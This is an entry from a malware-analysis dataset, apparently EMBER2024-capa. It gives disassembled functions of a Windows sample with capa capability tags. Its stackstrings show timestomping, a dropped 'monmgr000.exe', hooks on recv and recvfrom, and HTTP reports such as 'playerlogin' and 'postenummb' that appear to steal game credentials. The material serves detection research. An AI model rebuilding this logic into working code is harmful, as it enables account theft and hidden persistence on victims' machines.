joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10220dd9
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
mov esi, 0x110
push edi
xor ebx, ebx
push esi
mov edi, 0x10202090
push ebx
push edi
call fcn.1021e99e
push esi
push ebx
push 0x10001e70
call fcn.1021e99e
push esi
push ebx
push 0x10001d60
call fcn.1021e99e
push esi
mov esi, 0x10201f80
push ebx
push esi
call fcn.1021e99e
add esp, 0x30
cmp dword [ebp + 8], 1
je 0x10220e6b
cmp dword [ebp + 8], 3
je 0x10220e6b
cmp dword [ebp + 8], 2
jne 0x10221007
cmp dword [0x10001d60], ebx
jne 0x10220e5b
push 0x63
push 0x10001d64
call fcn.10220ce5
pop ecx
test eax, eax
pop ecx
je 0x10220e5b
mov dword [0x10001d60], 1
push 0x10001d60
call fcn.102209ac
pop ecx
jmp 0x10221007
cmp dword [0x10202090], ebx
jne 0x10220e9a
push 0x1021cd08
call dword [sym.imp.MSVCRT.dll_atoi]
push eax
push 0x10202094
call fcn.10220ce5
add esp, 0xc
test eax, eax
je 0x10220e9a
mov dword [0x10202090], 1
push edi
call fcn.102209ac
cmp dword [0x10001e70], ebx
pop ecx
jne 0x10220f4a
lea eax, [ebp - 0x10c]
push 0x104
push eax
mov byte [ebp - 8], 0x5c
mov byte [ebp - 7], 0x66
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0x6e
mov byte [ebp - 4], 0x74
mov byte [ebp - 3], 0x73
mov byte [ebp - 2], 0x5c
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.1021e922
lea eax, [ebp - 0x10c]
push 0x1021ccfc
push eax
call fcn.1021e922
lea eax, [ebp - 0x10c]
push 0x1021ccf4
push eax
call fcn.1021e922
lea eax, [ebp - 0x10c]
push eax
call fcn.1021d7c3
add esp, 0x1c
push 1
pop ecx
cmp eax, ecx
jne 0x10220f4a
lea eax, [ebp - 0x10c]
mov dword [0x10001e70], ecx
push eax
push 0x10001e74
call fcn.1021e8ef
push 0x10001e70
call fcn.102209ac
add esp, 0xc
cmp dword [ebp + 8], 3
jne 0x10221007
cmp dword [0x10201f80], ebx
jne 0x10221007
push 0x3d
xor eax, eax
pop ecx
lea edi, [ebp - 0xfe]
mov byte [ebp - 0x10c], 0x6d
mov byte [ebp - 0x10b], 0x6f
mov byte [ebp - 0x10a], 0x6e
mov byte [ebp - 0x109], 0x6d
mov byte [ebp - 0x108], 0x67
mov byte [ebp - 0x107], 0x72
mov byte [ebp - 0x106], 0x30
mov byte [ebp - 0x105], 0x30
mov byte [ebp - 0x104], 0x30
mov byte [ebp - 0x103], 0x2e
mov byte [ebp - 0x102], 0x65
mov byte [ebp - 0x101], 0x78
mov byte [ebp - 0x100], 0x65
mov byte [ebp - 0xff], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.1021d8e4
lea eax, [ebp - 0x10c]
push eax
push 0x10201f84
call sub.MSVCRT.dll_strcpy
push esi
mov dword [0x10201f80], 1
call fcn.102209ac
add esp, 0x14
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10221053
Capabilities:
Contain obfuscated stackstrings
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
and byte [ebp - 0x224], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x223]
rep stosd dword es:[edi], eax
and byte [ebp - 0x116], 0
push 0x3e
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x115]
mov byte [ebp - 0x120], 0x75
mov byte [ebp - 0x11f], 0x73
mov byte [ebp - 0x11e], 0x65
mov byte [ebp - 0x11d], 0x72
mov byte [ebp - 0x11c], 0x33
mov byte [ebp - 0x11b], 0x32
mov byte [ebp - 0x11a], 0x2e
mov byte [ebp - 0x119], 0x64
mov byte [ebp - 0x118], 0x6c
mov byte [ebp - 0x117], 0x6c
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.1021d8e4
pop ecx
xor eax, eax
pop ecx
mov ebx, 0x80
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push eax
push ebx
push 4
push eax
push eax
mov edi, 0xc0000000
lea eax, [ebp - 0x224]
push edi
push eax
call esi
mov dword [ebp - 4], eax
xor eax, eax
push eax
push ebx
push 4
push eax
push eax
push edi
push dword [ebp + 8]
call esi
mov edi, eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10221280
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x13b]
mov byte [ebp - 0x13c], bl
mov dword [ebp - 4], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x3c], 0x28
stosb byte es:[edi], al
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call fcn.1021d69c
call fcn.10221431
push ebx
push 0x80
push 3
push ebx
push 1
push closesocket
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x14], esi
je 0x10221413
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
lea ecx, [eax + 0x100]
inc eax
mov dword [ebp - 0x20], ecx
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
inc eax
push eax
push ebx
push dword [ebp - 8]
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 4]
push ebx
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
push ebx
lea eax, [ebp - 0x3c]
push ebx
push eax
push dword [ebp + 8]
call dword [0x102021a4]
test eax, eax
je 0x10221413
push 0x5c
push dword [ebp + 0xc]
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
cmp eax, ebx
pop ecx
je 0x10221413
inc eax
push eax
lea eax, [ebp - 0x13c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x10]
pop ecx
push eax
lea eax, [ebp - 0x13c]
push 0x100
push eax
push dword [ebp + 8]
call dword [0x102021b0]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 4]
mov esi, 0x400
xor edi, edi
cdq
mov ecx, esi
idiv ecx
test eax, eax
jle 0x102213d7
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
cmp dword [ebp + 0xc], ebx
je 0x102213d7
lea eax, [ebp - 0x10]
push eax
push esi
push dword [ebp - 0xc]
push dword [ebp + 8]
call dword [0x102021b0]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 4]
cdq
mov ecx, esi
add dword [ebp - 0xc], esi
idiv ecx
inc edi
cmp edi, eax
jl 0x102213ae
mov eax, dword [ebp - 4]
and eax, 0x3ff
je 0x102213fe
cmp dword [ebp + 0xc], ebx
je 0x10221413
shl edi, 0xa
add edi, dword [ebp - 8]
lea ecx, [ebp - 0x10]
push ecx
push eax
push edi
push dword [ebp + 8]
call dword [0x102021b0]
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], ebx
je 0x10221413
push ebx
push ebx
push ebx
push dword [ebp + 8]
call dword [0x102021b4]
test eax, eax
jne 0x10221416
mov dword [ebp + 0xc], ebx
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1022164c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f8
push ebx
push edi
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x203]
mov byte [ebp - 0x204], bl
rep stosd dword es:[edi], eax
push dword [ebp + 0xc]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x204]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
call fcn.1021d69c
call fcn.10221431
push ebx
push ebx
push ebx
push ebx
push 0x1021cd1c
call dword [0x100011bc]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x102216a7
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
push esi
lea eax, [ebp - 0x204]
push 0x3a
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x102216ce
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov byte [esi], bl
jmp 0x102216d1
push 0x50
pop eax
push ebx
push ebx
push 3
push ebx
push ebx
push eax
lea eax, [ebp - 0x204]
push eax
push dword [ebp - 4]
call dword [0x102021a8]
mov edi, eax
cmp edi, ebx
je 0x10221755
push ebx
push 0x4000000
push ebx
push ebx
push ebx
push dword [ebp + 0x10]
push 0x1021cd14
push edi
call dword [0x102021ac]
mov esi, eax
cmp esi, ebx
je 0x1022174e
push dword [ebp + 8]
push esi
call fcn.10221280
pop ecx
test eax, eax
pop ecx
je 0x10221747
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], ebx
push eax
lea eax, [ebp - 0x3f8]
push 0x1f3
push eax
push esi
call dword [0x100011b4]
test eax, eax
mov eax, dword [ebp + 0xc]
je 0x10221743
mov byte [ebp + eax - 0x3f8], bl
cmp eax, ebx
ja 0x1022171b
push esi
call dword [0x100011b8]
push edi
call dword [0x100011b8]
push dword [ebp - 4]
call dword [0x100011b8]
pop esi
pop edi
pop ebx
leave
ret

Function at 0x10221783
Capabilities:
Create thread

Disassembly:
push esi
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test eax, eax
pop ecx
je 0x1022179e
mov ecx, eax
call fcn.10221244
mov esi, eax
jmp 0x102217a0
xor esi, esi
push dword [esp + 0xc]
push esi
call sub.MSVCRT.dll_strcpy
push dword [esp + 0x18]
lea eax, [esi + 0x200]
push eax
call sub.MSVCRT.dll_strcpy
push dword [esp + 0x18]
lea eax, [esi + 0x300]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x18
push 0
push 0
push esi
push 0x10221763
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
ret
Function at 0x1022193a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x320
and byte [ebp - 0x120], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
and byte [ebp - 3], 0
push 0x10001c9c
stosb byte es:[edi], al
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x1c], 0x3f
push eax
lea eax, [ebp - 0x120]
push eax
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], 0x69
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x3d
mov byte [ebp - 0x14], 0x67
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x6d
mov byte [ebp - 0xd], 0x6d
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x62
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x26
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x3d
mov byte [ebp - 5], 0x25
mov byte [ebp - 4], 0x73
call dword [sym.imp.USER32.dll_wsprintfA]
and byte [ebp - 0x320], 0
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x31f]
push 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10221804
add esp, 0x18
test eax, eax
pop edi
jne 0x10221a0f
leave
ret
lea eax, [ebp - 0x320]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
lea eax, [ebp - 0x320]
ja 0x10221a2c
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
pop eax
leave
ret
Function at 0x10221b10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
and byte [ebp - 0x41c], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x41b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
and byte [ebp - 3], 0
push 0x10001c9c
stosb byte es:[edi], al
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], 0x3f
push eax
lea eax, [ebp - 0x41c]
push eax
mov byte [ebp - 0x17], 0x61
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x69
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x6e
mov byte [ebp - 0x11], 0x3d
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x26
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x3d
mov byte [ebp - 5], 0x25
mov byte [ebp - 4], 0x73
call dword [sym.imp.USER32.dll_wsprintfA]
and byte [ebp - 0x318], 0
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x317]
and byte [ebp - 0x118], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x117]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x318]
push 1
push eax
lea eax, [ebp - 0x41c]
push eax
call fcn.10221804
add esp, 0x18
test eax, eax
pop edi
jne 0x10221bec
leave
ret
lea eax, [ebp - 0x318]
push esi
push eax
call sub.MSVCRT.dll_strlen
mov esi, dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
test eax, eax
jbe 0x10221c39
lea eax, [ebp - 0x318]
push eax
call sub.MSVCRT.dll_strlen
cmp eax, 3
pop ecx
jae 0x10221c39
lea eax, [ebp - 0x318]
push eax
call esi
test eax, eax
pop ecx
jle 0x10221c39
lea eax, [ebp - 0x318]
push eax
call esi
cmp eax, 0x64
pop ecx
lea eax, [ebp - 0x318]
jl 0x10221c3f
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x118]
pop ecx
push eax
call fcn.10221a88
lea eax, [ebp - 0x118]
push eax
call esi
pop ecx
cmp eax, 1
pop ecx
pop esi
je 0x10221c7d
cmp eax, 0xe
je 0x10221c7d
cmp eax, 0x17
je 0x10221c7d
push 4
call fcn.1022229f
pop ecx
lea eax, [ebp - 0x118]
push eax
call fcn.10221a3c
pop ecx
leave
ret
Function at 0x10221c8c
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
push esi
push edi
push 0x40
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x147]
mov byte [ebp - 0x148], dl
push 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x23]
mov byte [ebp - 0x24], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x43]
mov byte [ebp - 0x44], dl
mov dword [ebp - 4], edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x148]
mov byte [0x1021b904], dl
push eax
call fcn.10222b8f
pop ecx
lea eax, [ebp - 0x148]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push eax
lea eax, [ebp - 0x24]
push 0x20
mov ebx, 0x102021a0
push eax
push ebx
mov edi, 0x1021cd44
push 0x1021cd3c
push edi
call esi
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x44]
push 0x20
push eax
push ebx
push 0x1021cd34
push edi
call esi
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov esi, eax
pop ecx
add esi, 0x124f80
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [sym.imp.MSVCRT.dll__strcmpi]
mov ebx, eax
lea eax, [ebp - 0x24]
push 0x1021cd4c
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x10221d69
lea eax, [ebp - 0x24]
push 0x1021cd30
push eax
call edi
pop ecx
test eax, eax
pop ecx
jne 0x10221d8b
cmp ebx, esi
jae 0x10221d8b
call fcn.10221b10
test eax, eax
jne 0x10221d7b
mov dword [ebp - 4], 1
jmp 0x10221d8b
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10222a11
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x102221d5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
and byte [ebp - 0x124], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x123]
rep stosd dword es:[edi], eax
push dword [ebp + 8]
and byte [ebp - 3], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x20]
push 0x10001c9c
push eax
lea eax, [ebp - 0x124]
push eax
mov byte [ebp - 0x20], 0x3f
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x63
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x3d
mov byte [ebp - 0x18], 0x70
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x75
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0xf], 0x62
mov byte [ebp - 0xe], 0x26
mov byte [ebp - 0xd], 0x75
mov byte [ebp - 0xc], 0x3d
mov byte [ebp - 0xb], 0x25
mov byte [ebp - 0xa], 0x73
mov byte [ebp - 9], 0x26
mov byte [ebp - 8], 0x6d
mov byte [ebp - 7], 0x62
mov byte [ebp - 6], 0x3d
mov byte [ebp - 5], 0x25
mov byte [ebp - 4], 0x73
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
lea eax, [ebp - 0x124]
push 0
push eax
call fcn.10221804
add esp, 0x1c
xor eax, eax
pop edi
leave
ret

Function at 0x1022229f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
and byte [ebp - 0x21c], 0
push edi
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x21b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
and byte [ebp - 4], 0
push 0x10001c9c
stosb byte es:[edi], al
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x1c], 0x3f
push eax
lea eax, [ebp - 0x21c]
push eax
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], 0x69
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x3d
mov byte [ebp - 0x14], 0x70
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x79
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x67
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x6e
mov byte [ebp - 9], 0x26
mov byte [ebp - 8], 0x75
mov byte [ebp - 7], 0x3d
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
lea eax, [ebp - 0x21c]
push 0
push eax
call fcn.10221804
add esp, 0x18
push 1
pop eax
pop edi
leave
ret
Function at 0x10222978
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
xor edx, edx
mov ecx, 0x384
push esi
div ecx
push edi
push 1
pop edi
test edx, edx
jne 0x10222994
mov dword [0x1021cd54], edi
cmp dword [0x1021cd54], edi
jne 0x102229a1
call fcn.102226d2
xor esi, esi
cmp dword [esp + 0xc], esi
jne 0x102229af
mov dword [0x1021b8f8], edi
cmp dword [0x1021b8f8], edi
jne 0x102229bc
call fcn.1022251c
cmp dword [0x1021cd5c], 0x100
jne 0x102229ee
cmp dword [0x1021cd54], esi
jne 0x102229ee
cmp dword [0x1021b8f8], esi
jne 0x102229ee
push esi
push esi
push esi
push 0x102227e7
push esi
push esi
mov dword [0x1021cd5c], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
ret

Function at 0x10222a5f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and byte [ebp - 0x16], 0
and byte [ebp - 4], 0
and byte [ebp - 0xc], 0
cmp dword [0x1021b924], 0
push edi
mov byte [ebp - 0x20], 0x77
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x32
mov byte [ebp - 0x1d], 0x5f
mov byte [ebp - 0x1c], 0x33
mov byte [ebp - 0x1b], 0x32
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x76
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x63
mov byte [ebp - 0x11], 0x76
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0xd], 0x6d
jne 0x10222b48
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1021d60a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop ecx
push eax
call esi
push 1
mov dword [0x1021b908], eax
test eax, eax
pop edi
je 0x10222b12
push 5
push 0x10222b4b
push eax
call fcn.1021d370
add esp, 0xc
mov dword [0x1021b90c], eax
mov dword [0x1021b924], edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1021d60a
pop ecx
push eax
call esi
test eax, eax
mov dword [0x1021b910], eax
pop esi
je 0x10222b48
push 5
push 0x10222b74
push eax
call fcn.1021d370
add esp, 0xc
mov dword [0x1021b914], eax
mov dword [0x1021b924], edi
pop edi
leave
ret
Function at 0x10222db6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
and byte [ebp - 8], 0
and byte [ebp - 0x15], 0
push esi
lea eax, [ebp - 0x24]
push edi
push eax
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x49
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x41
mov byte [ebp - 0x20], 0x64
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x70
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x73
mov byte [ebp - 0x19], 0x49
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x16], 0x6f
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [ebp - 4]
push eax
dec esi
push 0
call esi
test eax, eax
jne 0x10222e8b
movzx eax, byte [0x199]
push eax
movzx eax, byte [0x198]
push eax
movzx eax, byte [0x197]
push eax
movzx eax, byte [0x196]
push eax
movzx eax, byte [0x195]
push eax
movzx eax, byte [0x194]
jmp 0x10222ed6
cmp eax, 0x6f
jne 0x10222eea
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, eax
pop ecx
lea eax, [ebp - 4]
push eax
push edi
call esi
test eax, eax
jne 0x10222eea
movzx eax, byte [edi + 0x199]
push eax
movzx eax, byte [edi + 0x198]
push eax
movzx eax, byte [edi + 0x197]
push eax
movzx eax, byte [edi + 0x196]
push eax
movzx eax, byte [edi + 0x195]
push eax
movzx eax, byte [edi + 0x194]
push eax
push 0x1021cd74
push 0x1021b92c
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
pop edi
pop esi
leave
ret
Function at 0x10222eee
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push 0x1021b92c
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x10223004
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x2001f
push ebx
push 0x1021cdc4
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10222fff
push esi
push edi
push 0x3f
lea edi, [ebp - 0x113]
pop ecx
mov byte [ebp - 0x114], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
stosb byte es:[edi], al
push ebx
lea eax, [ebp - 8]
push ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push eax
lea eax, [ebp - 0x214]
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 8], 0x100
mov dword [ebp - 0xc], 1
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x10222ff6
lea eax, [ebp - 0x10]
push eax
push 0x2001f
lea eax, [ebp - 0x214]
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10222fd2
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x100
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
push 0x1021cdb8
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10222fd2
lea eax, [ebp - 0x114]
push 0x1021b92c
push eax
call fcn.10222cbe
pop ecx
pop ecx
push dword [ebp - 0x10]
call esi
mov eax, dword [ebp - 0xc]
push ebx
push ebx
push ebx
lea ecx, [ebp - 8]
push ebx
inc dword [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x214]
push ecx
push eax
push dword [ebp - 4]
call edi
test eax, eax
je 0x10222f78
push dword [ebp - 4]
call esi
pop edi
pop esi
jmp 0x10223004
call fcn.10222db6
pop ebx
leave
ret